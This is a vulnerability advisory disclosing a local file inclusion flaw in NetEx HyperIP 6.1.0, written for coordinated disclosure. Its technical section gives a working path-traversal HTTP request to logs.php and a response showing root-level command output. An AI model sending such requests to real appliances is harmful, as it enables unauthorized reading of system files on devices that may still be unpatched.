NetEx HyperIP 6.1.0 Local File Inclusion

NetEx HyperIP version 6.1.0 suffers from a local file inclusion vulnerability.

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KL-001-2018-005 : NetEx HyperIP Local File Inclusion Vulnerability

Title: NetEx HyperIP Local File Inclusion Vulnerability
Advisory ID: KL-001-2018-005
Publication Date: 2018.02.08
Publication URL:

1. Vulnerability Details

Affected Vendor: NetEx
Affected Product: HyperIP
Affected Version: 6.1.0
Platform: Embedded Linux
CWE Classification: CWE-73: External Control of File Name or Path, CWE-592: Authentication Bypass Issues
Impact: Arbitrary Filesystem Reads
Attack vector: HTTPS

2. Vulnerability Description

Local files can be included within the HTTP response given
by logs.php

3. Technical Description

Any arbitrary file, such as the one created in KL-001-2018-004, can
be returned by the logs.php script.

GET /logs.php?system=../../tmp/a.output&submit=Show+System+Log HTTP/1.1
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Date: Mon, 27 Mar 2017 13:07:51 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 502
Connection: close
Content-Type: text/html; charset=UTF-8

<meta HTTP-EQUIV="Expires" CONTENT="0">
<link REL="stylesheet" HREF="bdstyles.css" TYPE="text/css">
<body class="dsp">

<H1>Show System Log <font size=2>[ Monday @ 08:07:51 ]</font></H1>
<pre>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

4. Mitigation and Remediation Recommendation

The vendor has released version 6.1.1 of HyperIP, which they state
addresses this vulnerability.

5. Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.

6. Disclosure Timeline

2017.07.24 - KoreLogic submits vulnerability details to NetEx.
2017.07.24 - NetEx confirms receipt.
2017.08.16 - NetEx informs KoreLogic that this and other reported
vulnerabilities have been addressed in the forthcoming
release. ETA as of yet undetermined.
2017.09.05 - 30 business days have elapsed since the vulnerability
was reported to NetEx.
2017.09.19 - NetEx informs KoreLogic that the forthcoming release
6.1.1 is expected to ship at the end of January 2018.
2017.09.26 - 45 business days have elapsed since the vulnerability
was reported to NetEx.
2017.12.01 - 90 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.17 - 120 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release
has gone live.
2018.02.08 - KoreLogic public disclosure.

7. Proof of Concept

See 3. Technical Description.

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